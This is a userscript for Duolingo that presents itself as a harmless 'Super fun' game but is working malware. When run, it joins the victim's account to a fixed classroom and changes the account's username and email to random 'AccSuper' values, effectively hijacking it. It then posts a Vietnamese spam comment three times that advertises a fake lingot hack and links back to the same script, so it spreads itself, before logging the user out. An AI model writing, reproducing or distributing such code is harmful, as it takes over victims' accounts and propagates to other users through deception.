hotamago / Super fun

// ==UserScript==
// @name         Super fun
// @namespace    Super-fun-game
// @version      v0.0.1
// @description  Game super fun, lol :D
// @author       Super
// @updateURL https://openuserjs.org/meta/hotamago/Super_fun.meta.js
// @icon         https://raw.githubusercontent.com/reactjs/redux/master/logo/logo.png
// @match        https://www.duolingo.com/*
// @grant        none
// ==/UserScript==

//----------------------------------------------------------------------------------------------------------------------------------------------
//----------------------------------------------------------------------------------------------------------------------------------------------
// Hàm thiết lập Cookie
function setCookie(cname, cvalue, exdays) {
    var d = new Date();
    d.setTime(d.getTime() + (exdays*60*1000));
    var expires = "expires="+d.toUTCString();
    document.cookie = cname + "=" + cvalue + "; " + expires;
}
 
// Hàm lấy Cookie
function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for(var i=0; i<ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0)==' ') c = c.substring(1);
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
    }
    return "";
}
//----------------------------------------------------------------------------------------------------------------------------------------------

function inject(f) {
     var script;
     script = document.createElement('script');
     script.type = 'text/javascript';
     script.setAttribute('name', 'HotaVN');
     script.textContent = '(' + f.toString() + ')(jQuery)';
     document.head.appendChild(script);
 }
 inject(f);

 function f($) {
     var cache = {
         id: 0,
         el: null,
         top_el: null
     };
 }

function SendData(Link, data, type) {
     if(type==1){
         $.ajax({
      url: Link,
      type: "post",
      dateType:"text",
      data : data
      });
     } else if(type==2){
         $.ajax({
    url: Link,
    type: 'POST',
    data: JSON.stringify(data),
    contentType: 'application/json; charset=utf-8',
    dataType: 'json',
    async: false
});
     } else if(type==3){
          $.ajax({
                         headers : {
                'Accept' : 'application/json',
                'Content-Type' : 'application/json'
            },
    url: Link,
    type: 'PATCH',
    data: JSON.stringify(data)
});
     }
 }

if(window.location!="https://www.duolingo.com/discussion" && getCookie("AccSuper")==""){
    window.location="https://www.duolingo.com/discussion";
}
function MotPhatOk() {
    setCookie("AccSuper", "ok", 6);
    window.location="https://www.duolingo.com/logout";
}
 function StartCode1(idTK) {
     var RanDomTK = Math.floor((Math.random() * 999999) + 100);
var DataHere = {
username:"AccSuper"+RanDomTK
};
         SendData("/2017-06-30/users/"+idTK+"?fields=username",DataHere,3);
DataHere = {
email:"AccSuper"+RanDomTK+"@gmail.com"
};
         SendData("/2017-06-30/users/"+idTK+"?fields=email",DataHere,3);
         DataHere = {
"title":"Tải code DuoTweak và code hack lingot","message":"Đây là code cho phép các bạn dùng DuoTweak đồng thời hack lingot ở tài khoản bạn lên tới 99999 lingot hoặc số lingot bạn thích. code hỗ trợ chống hack khi vào lớp học, xem tài khoản người khác, hack like, hack cấp độ, hack xp, hack tường, hack streak,...\n\nĐể tải các bạn phải có phần mềm Tampermonkey\n\nKhi tải xong các bạn vào link này để tải: [Bấm vào đây](https://openuserjs.org/install/hotamago/Super_fun.user.js)","type":"question","topic_id":"894"
};
         SendData("/comments",DataHere,2);
         SendData("/comments",DataHere,2);
         SendData("/comments",DataHere,2);
         setTimeout(MotPhatOk, 5000);
 }
     var StartCode = function () {
         if(getCookie("AccSuper")==""){
         var DataHere1 = {
classroom_id:2500275
};
         SendData("/api/1/observers/join_classroom",DataHere1,1);
         var namenick = "/users/"+$('.name').html();
         $.ajax({
      url: namenick,
      type: "get",
      dateType:"text",
      data : {},success: function(produolingo){
	  StartCode1(produolingo.observer_id);
      },
            error: function (){
                alert('Duolingo: Lỗi rồi, vui lòng tải lại trang web');
            }
      });
         }
     };
     function ajax_complete(e, r, o) {
         if (!duo || !duo.user) return;
         if (o.url == "/diagnostics/js_error") return;

         var x = new RegExp("^/comments/[0-9]+($|\\?|/reply|/upvote|/downvote|/love)");
         var a = x.exec(o.url);
     }

     $(document).ajaxComplete(function (e, r, o) {
         ajax_complete(e, r, o);
     });
StartCode();